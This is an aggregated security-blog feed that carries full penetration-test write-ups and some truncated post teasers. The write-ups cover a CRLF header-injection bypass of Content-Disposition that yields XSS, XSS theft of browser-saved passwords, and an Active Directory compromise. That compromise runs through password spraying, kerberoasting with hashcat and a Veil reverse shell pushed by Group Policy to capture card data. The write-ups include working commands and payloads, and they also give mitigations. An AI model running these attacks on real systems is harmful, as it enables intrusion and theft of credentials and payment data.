There are new articles available, click to refresh the page.
Before yesterdayWeb App

Defeating Content-Disposition

16 April 2018 at 23:00

The Content-Disposition response header tells the browser to download a file rather than displaying it in the browser window.

Content-Disposition: attachment; filename="filename.jpg"

For example, even though this HTML outputs <script>alert(document.domain)</script>, because of the header telling the browser to download, it means that no Same Origin Policy bypass is achieved:

Save As

This is a great mitigation for cross-site scripting where users are allowed to upload their own files to the system. HTML files are the greatest threat, a user uploading an HTML file containing script can instantly refer others to the download link. If the browser does not force the content to download, the script will execute in the context of the download URL’s domain, giving the uploader access to the client-side of the victim’s session (the one that clicked the link). Of course, you could serve any downloads from another domain, however, if only authorised users should have access to the file then this means implementing some cross-domain authentication system, which could be prone to security flaws in its own right. Note that ideally (from the attacker’s perspective), any uploads should be able to be downloaded by other users, or should at least be shareable, otherwise we are only in self-XSS territory here, which in my opinion is a non-vuln.

As well as the obvious HTML, there are also ways to bypass the SOP by uploading Flash or a PDF and then embedding the upload on the attacker’s page.

So… can Content-Disposition be bypassed? There were a few old methods that relies on either Internet Explorer caching bugs or Firefox bugs:

(Links stolen from here.)

Well on a pentest some time ago, I found another way. Admittedly, this was unique to the application, however, I’m sure it will not be the only one vulnerable in this way.

The application in question included a page designer, and the page designer widget allowed images to be uploaded to be included in the page. Upload functionality can be a gold mine for pentesters, so I immediately got testing it. Unfortunately, trying to upload a file of type text/html gave a 400 Bad Request. In fact, trying to upload anything except images gave the same response. Even when the client gave me access to the source code, I validated it and the code appeared sound - only allowing uploads of a white-list of allowed types.

If a file was uploaded, it was downloaded by the browser in a response that included the content-disposition header:

HTTP/1.1 200 OK
Date: Mon, 16 Apr 2018 15:19:25 GMT
Expires: Thu, 26 Oct 1978 00:00:00 GMT
Content-Type: image/png
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
X-Content-Type-Options: nosniff
Content-Length: 39
Vary: *
Connection: Close
content-disposition: attachment;filename=foobar.png
X-Frame-Options: SAMEORIGIN


However, what the client appeared to have forgotten was that there was a back-end API service, and that normal users could authenticate to this service by passing in their app username and password into a basic auth header.

This header is a request header and is in the following format:

Authorization: <type> <credentials>

In the basic mode this is:

Authorization: basic base64(username:password)

So to demonstrate, you can use an online tool such as this one. If your username is foo and your password is bar you would pass in the following header:

Authorization: basic Zm9vOmJhcg=

This is foo:bar base64’d.

Passing this to the API, which was publicly available but ran on port 8875, allowed access to its functions as the authenticated user.

The first flaw I found is that the API allowed any content-type to be uploaded, even those that were disallowed if using the web UI:

POST /store/data/files HTTP/1.1
Content-Length: 453
Content-Type: application/json
User-Agent: curl
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Authorization: basic Zm9vOmJhcg=
Accept: */*

{"name": "xss.htm", "data": "PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+", "type": "text/html"}

Obviously, this is simplified and anonymised from the original app. Anyway, this gave the following HTTP response:

HTTP/1.1 201 Created

Requesting the file actually returned the content-type:

HTTP/1.1 200 OK
Date: Mon, 16 Apr 2018 15:24:11 GMT
Expires: Thu, 26 Oct 1978 00:00:00 GMT
Content-Type: text/html
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
X-Content-Type-Options: nosniff
Content-Length: 39
Vary: *
Connection: Close
content-disposition: attachment;filename=xss.htm
X-Frame-Options: SAMEORIGIN


However, that pesky content-disposition was preventing us from gaining XSS.

What I next tried was setting the type to text/html\r\n\foo:bar, thinking that this would not work. However, it uploaded fine and upon requesting the download I got the injected header returned:

HTTP/1.1 200 OK
Date: Mon, 16 Apr 2018 15:44:35 GMT
Expires: Thu, 26 Oct 1978 00:00:00 GMT
Content-Type: text/html
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
X-Content-Type-Options: nosniff
Content-Length: 39
Vary: *
Connection: Close
content-disposition: attachment;filename=xss.htm
X-Frame-Options: SAMEORIGIN


Interesting… My first go at bypassing content-dispostion was to inject another content-disposition header, hoping the browser would act on the first one:

HTTP/1.1 200 OK
Date: Mon, 16 Apr 2018 15:45:52 GMT
Expires: Thu, 26 Oct 1978 00:00:00 GMT
Content-Type: text/html
content-disposition: inline
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
X-Content-Type-Options: nosniff
Content-Length: 39
Vary: *
Connection: Close
content-disposition: attachment;filename=xss.htm
X-Frame-Options: SAMEORIGIN


However, the browser flagged this with the following error, which I’ve never seen the likes of before:

Duplicate Content-Disposition

After a bit of thought, I came up with the following payload instead:

POST /store/data/files HTTP/1.1
Content-Length: 453
Content-Type: application/json
User-Agent: curl
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Authorization: basic Zm9vOmJhcg=
Accept: */*

{"name": "xss.htm", "data": "PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+", "type": "text/html\r\n\r\n"}

This gave me the ID as before:

HTTP/1.1 201 Created

And requesting

gave the XSS:

HTTP/1.1 200 OK
Date: Mon, 16 Apr 2018 17:34:21 GMT
Expires: Thu, 26 Oct 1978 00:00:00 GMT
Content-Type: text/html

Cache-Control: no-store, no-cache, must-revalidate, max-age=0
X-Content-Type-Options: nosniff
Content-Length: 39
Vary: *
Connection: Close
content-disposition: attachment;filename=xss.htm
X-Frame-Options: SAMEORIGIN



This is due to the injected carriage-return and linefeed which causes the browser to interpret the second, original, content-disposition header as part of the HTTP body, and therefore ignored as a directive to tell the browser to download. Of course, this does need some social engineering as you would require your victim to follow the link to the downloaded file to trigger the JavaScript in their login context.

Google CTF 2018 Quals Web Challenge - gCalc

27 June 2018 at 07:40
gCalc is the web challenge in Google CTF 2018 quals and only 15 teams solved during 2 days’ competition! This challenge is a very interesting challenge that give me lots of fun. I love the challenge that challenged your exploit skill instead of giving you lots of code to find a simple vulnerability or guessing without any hint. So that I want to write a writeup to note this :P The challenge

Password Autocomplete and Modern Browsers

8 July 2018 at 16:26

On many penetration test reports (including mine), the following is reported:

Password Field With Autocomplete Enabled

The page contains a form with the following action URL:


The form contains the following password field with autocomplete enabled:


Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications that employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application. The stored credentials can be captured by an attacker that gains control over the user’s computer. Further, an attacker that finds a separate application vulnerability such as cross-site scripting may be able to exploit this to retrieve a user’s browser-stored credentials.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, include the attribute autocomplete=”off” within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields). Please note that modern web browsers may ignore this directive. In spite of this there is a chance that not disabling autocomplete may cause problems obtaining PCI compliance.

Now this one is an awkward one to report, because saving passwords for the user is a good thing. MDN says on the matter:

in-browser password management is generally seen as a net gain for security. Since users do not have to remember passwords that the browser stores for them, they are able to choose stronger passwords than they would otherwise.

I completely agree with this. Password managers (even browser built-in ones) are better than using the same passwords across all sites, or subtle variations on one (monkey1Facebook, monkey1Twitter, etc.).

Users should have their local devices protected (by this I mean mobile devices and desktop machines). This means a password, PIN or fingerprint or equivalent to login, and encryption enabled (FDE, like BitLocker, or device enabled, like Android encryption), to prevent anything being extracted from the file system.

Therefore, the browser storing the password for the use of the user, is of very little risk. The main risk here, is what the Burp description of the vulnerability touches upon above:

cross-site scripting [XSS] may be able to exploit this to retrieve a user’s browser-stored credentials.

Yikes! So XSS could grab the credentials from your browser. To find out whether your browser is vulnerable, I’ve setup a test.

Login to your password manager, click the following link and then enter username: admin and password: secretPassword and when your browser asks you to save your password, do it. Go!

Then try the next link preloaded with this juicy XSS payload

function() {

The one second delay is to give the browser time to complete the form. However, this can be altered with the delay parameter in case your browser needs longer.


So if an alert box is shown with your password, your browser or password manager is vulnerable. In a real attack there will be no alert box, the attacker sends the password (and of course, username using the same method) cross-domain to their site like this (open dev tools or Burp to see the background request).

The next link has autocomplete off. There are two tests you can do here.

  1. Find out whether your password is still completed from before. Many modern browsers ignore the autocomplete directive.
  2. Don’t do this test yet, but if you try a new login (e.g. root and pass), see whether your browser prompts you to save.

Autocomplete Off

The second test may prevent your browser from auto-filling anything in future on this domain without you manually clicking (as you now have two possible logins to the site). Delete one of the logins from your browser/manager if you tried this test.

If your browser still autocompletes, this shows that setting autocomplete=off is pretty pointless for users with the same browser and password manager combination.

Attacker Injected Form

If autocomplete=off made a difference to the above, then the point of my post is to show you whether an attacker injected form could re-enable autocomplete and then capture your credentials, should a cross-site scripting vulnerability exist on the site, and that you were unlucky enough to follow an attacker controlled link.

Before starting, make sure you only have one login saved. See the following guide on how to delete passwords if you tried the second test above. Click this link then your browser version and click back to return to this site: How to delete passwords.

This one has autocomplete off, however, an attacker injects their own form tag via the XSS vector, with autocomplete on to try and grab the password from it:

Attacker Injected Form

This works by closing the original form in the HTML, and then opening another one without autocomplete disabled before injecting the script:


If this test worked, but the second test didn’t, then removing autocomplete from a form is like closing the stable door after the horse has bolted. The password has already been saved and any future XSS attacks can grab their password.

Firefox 61, Edge 42 and IE 11 appear to be vulnerable, so if you have cross-site scripting on your site and a user has saved passwords, then the attacker can trivially grab the login details should their XSS link be followed. Chrome 67 appears to pre-fill the password, however, the script alert is empty, suggesting that Chrome has some clever logic built-in preventing script from retrieving it. I wonder if there’s a way around this for an attacker…? Maybe an idea for a future post.

The solution to this would be to use a password manager that requires the user to click before completing the password. This would stop a cross-site scripting attack from sending the password to the user automatically. Of course, if the user proceeded to login, the cross-site scripting could have attached an event handler to the password field in order to send once it had been entered. Changing your password manager will guard against completely automated attacks that do not require further user interaction.

So to avoid being a victim yourself:

  • If the “attacker injected form” test gets your password, switch to a password manager that requires you to click before completing your login details.
  • For sensitive sites, bookmark the logon page and always follow your bookmark when logging in, never follow links from emails, other sites or from messages.

From a pentesting perspective it looks like we’re stuck reporting it, especially for PCI tests:

there is a chance that not disabling autocomplete may cause problems obtaining PCI compliance.

So to sum up, password managers are great and increase overall security. However, if they complete forms without asking, they make an attacker’s work easy.

How I Chained 4 Bugs(Features?) into RCE on Amazon Collaboration System

10 August 2018 at 20:10
Hi! This is the case study in my Black Hat USA 2018 and DEFCON 26 talk, you can also check slides here: Breaking Parser Logic! Take Your Path Normalization Off and Pop 0days Out In past two years, I started to pay more attention on the “inconsistency” bug. What's that? It’s just like my SSRF talk in Black Hat and GitHub SSRF to RCE case last year, finding inconsistency between the URL parser

HITCON CTF 2018 - One Line PHP Challenge

23 October 2018 at 16:19
In every year’s HITCON CTF, I will prepare at least one PHP exploit challenge which the source code is very straightforward, short and easy to review but hard to exploit! I have put all my challenges in this GitHub repo you can check, and here are some lists :P 2017 Baby^H Master PHP 2017 (0/1541 solved) Phar protocol to deserialize malicious object Hardcode anonymous function name \

Hacking Jenkins Part 1 - Play with Dynamic Routing

16 January 2019 at 12:10
This is a cross-post blog from DEVCORE, this post is in English, 而這裡是中文版本! # Part two is out, please check this --- In software engineering, the Continuous Integration and Continuous Delivery is a best practice for developers to reduce routine works. In the CI/CD, the most well-known tool is Jenkins. Due to its ease of use, awesome Pipeline system and integration of Container, Jenkins is

Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!

19 February 2019 at 12:00
This is also a cross-post blog from DEVCORE, this post is in English, 而這裡是中文版本! #2019-02-22-updated #2019-05-10-updated #2019-05-10-released-exploit code awesome-jenkins-rce-2019 #2019-07-02-updated the slides is out! --- Hello everyone! This is the Hacking Jenkins series part two! For those people who still have not read the part one yet, you can check following link to get some basis and

A Wormable XSS on HackMD!

12 March 2019 at 12:00
在 Web Security 中,我喜歡伺服器端的漏洞更勝於客戶端的漏洞!(當然可以直接拿 shell 的客戶端洞不在此限XD) 因為可以直接控制別人的伺服器對我來說更有趣! 正因如此,我以往的文章對於 XSS 及 CSRF 等相關弱點也較少著墨(仔細翻一下也只有 2018 年 Google CTF 那篇XD),剛好這次的漏洞小小有趣,秉持著教育及炫耀(?)的心態就來發個文了XD 最近需要自架共筆伺服器,調查了一些市面上支援 Markdown 的共筆平台,最後還是選擇了國產的 HackMD! 當然,對於自己要使用的軟體都會習慣性的檢視一下安全性,否則怎麼敢放心使用? 因此花了約半天對 HackMD 進行了一次原始碼檢測(Code Review)! HackMD 是一款由台灣人自行研發的線上 Markdown 共筆系統,除了在台灣資訊圈流行外,也被許多台灣研討會如 COSCUP,

Gaining Access to Card Data Using the Windows Domain to Bypass Firewalls

24 April 2019 at 20:02

This post details how to bypass firewalls to gain access to the Cardholder Data Environment (or CDE, to use the parlance of our times). End goal: to extract credit card data.

Without intending to sound like a Payment Card Industry (PCI) auditor, credit card data should be kept secure on your network if you are storing, transmitting or processing it. Under the PCI Data Security Standard (PCI-DSS), cardholder data can be sent across your internal network, however, it is much less of a headache if you implement network segmentation. This means you won’t have to have the whole of your organisation in-scope for your PCI compliance. This can usually be achieved by firewalling the network ranges dealing with card data, the CDE, from the rest of your organisation’s network.

Hopefully, the above should outline the basics of a typical PCI setup in case you are not familiar. Now onto the fun stuff.

The company I tested a few years ago had a very large network, all on the standard range. Cardholder data was on a separate range, firewalled from the rest of the company. Note that all details, including ranges have been changed for the purposes of this post. The CDE mostly consisted of call centre operatives taking telephone orders, and entering payment details into a form on an externally operated web application.

This was an internal test, therefore we were connected to the company’s internal office network on the range. Scanning the CDE from this network location with ping and port scans yielded no results:



The ping scan is basically the same as running the ping command but nmap can scan a whole range with one run. The “hosts up” in the second command’s output relate to the fact we’ve given nmap the -Pn argument to tell it not to first ping, therefore nmap will report all hosts in the range as “up” even though they might not be (an nmap quirk).

So unless there was a firewall rule bypass vulnerability, or a weak password for the firewall that could be guessed, going straight in through this route seemed unlikely. Therefore, the first step of the compromise was to concentrate on taking control of Active Directory by gaining Domain Admin privileges.

Becoming Domain Admin

There are various ways to do this, such as this one in my previous post.

In this instance, kerberoast was utilised to take control of the domain. A walk through of the attack, starting off from a position of unauthenticated on the domain follows.

The first step in compromising Active Directory usually involves gaining access to any user account, at any level. As long as it can authenticate to the domain controller in some way, we’re good. In Windows world, all accounts should be able to authenticate with the domain controller, even if they have no permissions to actually do anything on it. At a most basic level, even the lowest privileged accounts need to validate that the password is correct when the user logs in, so this is a reason it works that way.

At this customer’s site, null sessions were enabled on the domain controller. In this case, our domain controller is, “PETER”. This allows the user list to be enumerated using tools like enum4linux, revealing the username of every user on the domain:

$ enum4linux -R 1000-50000 |tee enum4linux.txt



Now we have a user list, we can parse it into a usable format:

$ cat enum4linux.txt | grep '(Local User)' |awk '$2 ~ /MACFARLANE\\/ {print $2}'| grep -vP '^.*?\$$' | sed 's/MACFARLANE\\//g'


You may have noticed I’m not into the whole brevity thing. Yes, you can accomplish this with awk, grep, sed and/or even Perl with many fewer characters, however, if I’m on a penetration test I tend to just use whatever works and save my brain power for achieving the main goal. If I’m writing a script that I’m going to use long term, I may be tempted to optimise it a bit, but for pentesting I tend to bash out commands until I get what I need (pun intended).

Now on the actual test. The network is huge, with over 25,000 active users. However, in my lab network we only have a handful, which should make it easier to demonstrate the hack.

Now we have the user list parsed into a text file, we can then use a tool such as CrackMapExec to guess passwords. Here we will guess if any of the users have “Password1” as their password. Surprisingly enough, this meets the default complexity rules of Active Directory as it contains three out of the four character types (uppercase, lowercase and number).

$ cme smb -u users.txt -p Password1

Wow we have a hit:


Note that if we want to keep guessing and find all accounts, we can specify the --continue-on-success flag:


So we’ve gained control of a single account. Now we can query Active Directory and bring down a list of service accounts. Service accounts are user accounts that are for… well… services. Think of things like the Microsoft SQL Server. When running, this needs to run under the context of a user account. Active Directory’s Kerberos authentication system can be used to provide access, and therefore a “service ticket” is provided by Active Directory to allow users to authenticate to it. Kerberos authentication is outside the scope of this post, however, this is a great write-up if you want to learn more.

Anywho, by requesting the list of Kerberos service accounts from the domain controller, we also get a “service ticket” for each. This service ticket is encrypted using the password of the service account. So if we can crack it, we will be able to use that account, which is usually of high privilege. The Impacket toolset can be used to request these:

$ GetUserSPNs.py -outputfile SPNs.txt -request 'MACFARLANE.EXAMPLE.COM/chuck:Password1' -dc-ip


As we can see, one of the accounts is a member of Domain Admins, so this would be a great password to crack.

$ hashcat -m 13100 --potfile-disable SPNs.txt /usr/share/wordlists/rockyou.txt -r /usr/share/rules/d3adhob0.rule

After running hashcat against it, it appears we have found the plaintext password:


To confirm that this is an actual active account, we can use CrackMapExec again.

$ cme smb -u redrum -p 'murder1!'


Wahoo, the Pwn3d! shows we have administrator control over the domain controller.


OK, how to use it to get at that lovely card data?

Now, unfortunately for this company, the machines the call centre agents were using within the CDE to take phone orders were on this same Active Directory domain. And although we can’t connect to these machines directly, we can now tell the domain controller to get them to talk to us. To do this we need to dip into Group Policy Objects (GPOs). GPOs allow global, or departmental, settings to be applied to both user and computers. Well, it’s more than that really, however, for the purposes of this post you just need to know that it allows control of computers in the domain on a global or granular level.

Many of the functions of GPO are used to manage settings of the organisational IT. For example, setting a password policy or even setting which desktop icons appear for users (e.g. a shortcut to open the company’s website). Another GPO allows “immediate scheduled tasks” to be run. This is what we’re doing here… Creating a script which will run in the call centre, and connect back to the our machine, giving us control. Here are the steps to accomplish this:

  1. Generate a payload. Here we’re using Veil Evasion. Our IP address is, so we’ll point the payload to connect back to us at this address.
    $ veil -t EVASION -p 22 --ip --port 8755 -o pci_shell veil

  2. Login to the domain controller over Remote Desktop Protocol (RDP), using the credentials we have from kerberoasting.

  3. Find the CDE in Active Directory. From our knowledge of the organisation, we know that the call centre agents work on floor 2. We notice Active Directory Users and Computers (ADUC) has an OU of this name:

  4. Drop in the script we made from Veil into a folder, and share this on the domain controller. Set permissions on both the share and the directory to allow all domain users to read.

  5. Within GPO, we create a policy at this level:

  6. Find the Scheduled Tasks option while editing this new GPO, and create a new Immediate Scheduled Task:

  7. Create the task to point to the version saved in the share. Also set “Run in logged-on user’s security context” under “common”.


I waited 15 minutes and nothing happened. I know that group policy can take 90 minutes, plus or minus 30 to update, but I was thinking that at least one machine would have got the new policy by now (note, if testing this in a lab you can use gpupdate /force). Then I waited another five. I was just about to give up and change tack, then this happened:


Running the command to take a screenshot, returned exactly what the call centre agent was entering at the time… card data!:


Card data was compromised, and the goal of the 11.3 PCI penetration test was accomplished.


If we have a look at the session list, we can see that the originating IP is from the CDE range:


On the actual test the shells just kept coming, as the whole of the second floor sent a shell back. There was something in the region of 60-100 Meterpreter shells that were opened.

Note that Amazon is used in my screenshot, which is nothing to do with the organisation I’m talking about. In the real test, a script was setup in order to capture screenshots upon a shell connecting (via autorunscript), then we could concentrate on the more interesting sessions, such as those that were part way through the process and were about to reach the card data entry phase.

There are other ways of getting screenshots like use espia in Meterpreter, and Metasploit’s post/windows/gather/screen_spy.

There are methods of doing the GPO programatically, which I have not yet tried such as New-GPOImmediateTask in PowerView.

The mitigation for this would to always run the CDE on its own separate Active Directory domain. Note that not even a forest is fine. Of course, defence-in-depth measures of turning off null sessions, encouraging users to select strong passwords and making sure that any service accounts have crazy long passwords (20+ characters, completely random) are all good. Also detecting if any users go and request all service tickets in one go, or creating a honeypot service account that could be flagged if anyone requests the service ticket could help too. No good keeping card holder data safe if a hacker can get to the rest of your organisation.

Attacking SSL VPN - Part 1: PreAuth RCE on Palo Alto GlobalProtect, with Uber as Case Study!

17 July 2019 at 12:27
Author: Orange Tsai(@orange_8361) and Meh Chang(@mehqq_) P.S. This is a cross-post blog from DEVCORE SSL VPNs protect corporate assets from Internet exposure, but what if SSL VPNs themselves are vulnerable? They’re exposed to the Internet, trusted to reliably guard the only way to your intranet. Once the SSL VPN server is compromised, attackers can infiltrate your Intranet and even take

Attacking SSL VPN - Part 2: Breaking the Fortigate SSL VPN

9 August 2019 at 20:53
Author: Meh Chang(@mehqq_) and Orange Tsai(@orange_8361) This is also the cross-post blog from DEVCORE Last month, we talked about Palo Alto Networks GlobalProtect RCE as an appetizer. Today, here comes the main dish! If you cannot go to Black Hat or DEFCON for our talk, or you are interested in more details, here is the slides for you! Infiltrating Corporate Intranet Like NSA: Pre-auth

Attacking SSL VPN - Part 3: The Golden Pulse Secure SSL VPN RCE Chain, with Twitter as Case Study!

2 September 2019 at 14:00
Author: Orange Tsai(@orange_8361) and Meh Chang(@mehqq_) P.S. This is a cross-post blog from DEVCORE Hi, this is the last part of Attacking SSL VPN series. If you haven’t read previous articles yet, here are the quick links for you: Infiltrating Corporate Intranet Like NSA: Pre-auth RCE on Leading SSL VPNs Attacking SSL VPN - Part 1: PreAuth RCE on Palo Alto GlobalProtect, with Uber as

An analysis and thought about recently PHP-FPM RCE(CVE-2019-11043)

29 October 2019 at 16:45
First of all, this is such a really interesting bug! From a small memory defect to code execution. It combines both binary and web technique so that’s why it interested me to trace into. This is just a simple analysis, you can also check the bug report and the author neex’s exploit to know the original story :D Originally, this write-up should be published earlier, but I am now traveling and

你用它上網,我用它進你內網! 中華電信數據機遠端代碼執行漏洞

11 November 2019 at 10:15
For non-native readers, this is a writeup of my DEVCORE Conference 2019 talk. Describe a misconfiguration that exposed a magic service on port 3097 on our country's largest ISP, and how we find RCE on that to affect more than 250,000 modems :P 大家好,我是 Orange! 這次的文章,是我在 DEVCORE Conference 2019 上所分享的議題,講述如何從中華電信的一個設定疏失,到串出可以掌控數十萬、甚至數百萬台的家用數據機漏洞! 前言 身為 DEVCORE 的研究團隊,我們的工作就是研究最新的攻擊趨勢、挖掘最新

XSS Hunting

3 March 2020 at 08:55

This post documents one of my findings from a bug bounty program. The program had around 20 web applications in scope. Luckily the first application I chose was a treasure trove of bugs, so that kept me busy for a while. When I decided to move on, I picked another one at random, which was the organisation’s recruitment application.

I found a cross-site scripting (XSS) vulnerability via an HTML file upload, but unfortunately the program manager marked this as a duplicate. In case you’re not familiar with bug bounties, this is because another researcher had found and logged the vulnerability with the program manager before me, and only the first submission on any valid bug is considered for reward.

After sifting through the site a few times, it appeared that all the low hanging fruit had gone. Time to bring out the big guns.

Big Guns

This time it’s in the form of my new favourite fuzzer ffuf.

ffuf -w /usr/share/wordlists/dirb/big.txt -u https://rob-sec-1.com/FUZZ -o Ffuf/Recruitment.csv -X HEAD -of csv

This is like the directory fuzzers of old, like dirb and dirbuster, however, it is written in Go, which is much much faster.

What this tool will do is try to enumerate different directories within the application, replacing FUZZ with items from the big.txt list of words. If we sneak peek a sample of this file:

$ shuf -n 10 /usr/share/wordlists/dirb/big.txt

…ffuf wil try URL paths such as https://rob-sec-1.com/odds, https://rob-sec-1.com/papers https://rob-sec-1.com/diamonds, etc, and report on what it finds. The -X parameter tells it to use the HEAD HTTP method, which will only retrieve HTTP headers from the target site rather than full pages. Usually retrieving HEAD will be enough to determine whether that hidden page exists or not. The thing I like most about ffuf, is the auto calibrate option, which determines “what is normal” for an application to return. I’ve not used this option here, but if you pass the -ac parameter (I don’t recommend this with -x HEAD), it will grab a few random URL paths of its own to see if the application follows the web standard of returning HTTP 404 errors for non-existent pages, or whether it returns something else. In the latter case, if something non-standard is returned, ffuf will often determine what makes this response unique, and tune its engine to only output results that are different than usual, and thus worthy of investigation. This will use page response size as one of the factors, which is the reason that I don’t recommend that -x HEAD is used, as this does not return the body nor its size, therefore auto calibration will be heavily restricted.

Anyway, back to the application. Ffuf running:

Ffuf runnung

Running the above generated the following CSV that we can read from the Linux terminal using the column command:

column -s, -t Ffuf/Recruitment.csv

Ffuf output

The result I have highlighted above jumped out at me. Third party tools deployed to a web application can be a huge source of vulnerabilities, as the code can often be dropped in without review, and as it is working, tends to get forgotten about and never updated. A quick Google revealed that this was in fact from a software package called ZeroEditor, and was probably not just a directory made on the site:


Note that, as usual, I have anonymised and recreated the details of the application, the third party software, and the vulnerability in my lab. Details have been changed to protect the vulnerable. If you Google this you won’t find an ASP.NET HTML editor as the first result, and my post has nothing to do with the websites and applications that are returned.

From the third party vendor’s website I downloaded the source code that was available in a zip, and then used the following command to turn the installation directory structure into my own custom wordlist:

find . -type f > ../WebApp/ZeroEditor-Fuzz-All.txt

In this file I noticed lots of “non-dangerous” file types such as those in the “Images” directory, so I filtered this like so:

cat ZeroEditor-Fuzz-All.txt | grep -v 'Images' > ZeroEditor-Fuzz-No-Images.txt

Now we can see the top few lines from the non-filtered, and the filtered custom word lists for this editor:


Now we can run ffuf again, this time using the custom word list we made:

ffuf -w ZeroEditor-Fuzz-No-Images.txt -u https://rob-sec-1.com/ZeroEditor/FUZZ -o Ffuf/Recruitment-ZeroEditor-Fuzz.csv -X HEAD -of csv -H 'User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0' -t 1

This time we are only running one thread (-t 1), as from our earlier fuzzing we can tell the web app or its server isn’t really up to much performance wise, so in this instance we are happy to go slow.

Ffuf with Custom List

and we can show in columns as before:

Ffuf columnds with Custom List

My attention was drawn to the last two results. An ASPX - could there be something juicy in there? Also a Shockwave Flash file. I did actually decompile the latter, but it turned out just to be a standard Google video player, and I couldn’t find any XSS or anything else that interesting in the code.

Going back to Spell-Check-Dialog.aspx. What could we do here, with this discovered file?

Loading the page directly gave the following:

Spellchecker Page

Initially my go-to would have been param-miner, which can find hidden parameters like i did here using wfuzz. The difference is that param-miner is faster as it will try multiple parameters at once by employing a binary search, and it will also use an algorithmic approach for detecting differences in content without you having to specify what the baseline is (similar to Ffuf in this regard).

But we don’t need to do that as I already have the source code! I could do a code analysis to look for vulnerabilities ourselves.

Examining the code I found the following that reflected a parameter:

<asp:panel id="DialogFrame" runat="server" visible="False" enableviewstate="False">
            <iframe id="SpellFrame" name="SpellFrame" src="Spell-Check-Dialog.aspx?ZELanguage=<%=Request.Params["ZELanguage"]%>" frameborder="0" width="500" scrolling="no" height="340" style="width:500;height:340"></iframe>

That is the code <%=Request.Params["ZELanguage"]%> outputs ZELanguage from the query string or POST data without doing the thing that mitigates cross-site scripting - output encoding.

However, when I went ahead and passed the query string for ZELanguage nothing happened:



I guessed this could be due to the default visible="False" in the above asp:panel tag. After further examination I found the code to make DialogFrame visible:

  void Page_Init(object sender, EventArgs e)
         // show iframe when needed for MD support
         if (Request.Params["MD"] != null)
             this.DialogFrame.Visible = true;

In summary, it looked like I just needed to set MD to something as well. Hence from the hidden page I found the two hidden query string parameters: MD=true&ZELanguage=FOOBAR.

And reviewing the code to find out how it worked enabled me to construct the new query string:


Bingo, XSS:


This would have been mitigated if the vendor had encoded on output: <%=Server.HTMLEncode(Request.Params["ZELanguage"]) %>

There was another file in the downloaded zip that if present could possibly have allowed Server-Side Request Forgery (SSRF) or directory traversal, however, this was not found during fuzzing of the target, suggesting it has been deleted after deployment. There were also some directory manipulation pieces of code within Spell-Check-Dialog.aspx that takes user input as part of the path, however, it doesn’t appear to be doing anything too crazy with the file and it also has a static file extension appended making it of limited use. That leaves us with XSS for now, and although I have found some more juicy findings on the bug bounty program, they are more difficult to recreate in a lab environment. It would be nice to release them should the program manager’s client allow this in future.


  • 27 December 2019: Reported to the program manager.
  • 29 December 2019: Triaged by the program manager.
  • 03 March 2020: Reported to vendor of HTML Editor as it occurred to me to check whether the latest version was vulnerable when writing this post. A cursory glance suggested it was. No details of any vulnerable targets disclosed to vendor, as the code itself is vulnerable.
  • 28 April 2020: Rewarded $400 from bug bounty program.
  • TBA: Response from vendor.
  • 19 May 2020: Post last updated.

How I Hacked Facebook Again! Unauthenticated RCE on MobileIron MDM

12 September 2020 at 09:25
Author: Orange TsaiThis is a cross-post blog from DEVCORE. 中文版請參閱這裡 Hi, it’s a long time since my last article. This new post is about my research this March, which talks about how I found vulnerabilities on a leading Mobile Device Management product and bypassed several limitations to achieve unauthenticated RCE. All the vulnerabilities have been reported to the vendor and got

Tiger Scheme Check Team Member Exam - A review of the Check Team Member exam.

29 June 2022 at 12:06
Tiger Scheme Check Team Member Exam - A review of the Check Team Member exam.

The start of the PenTester Scripting project

29 June 2022 at 12:06
How I got involved in yet another new project, this time the PenTester Scripting community wiki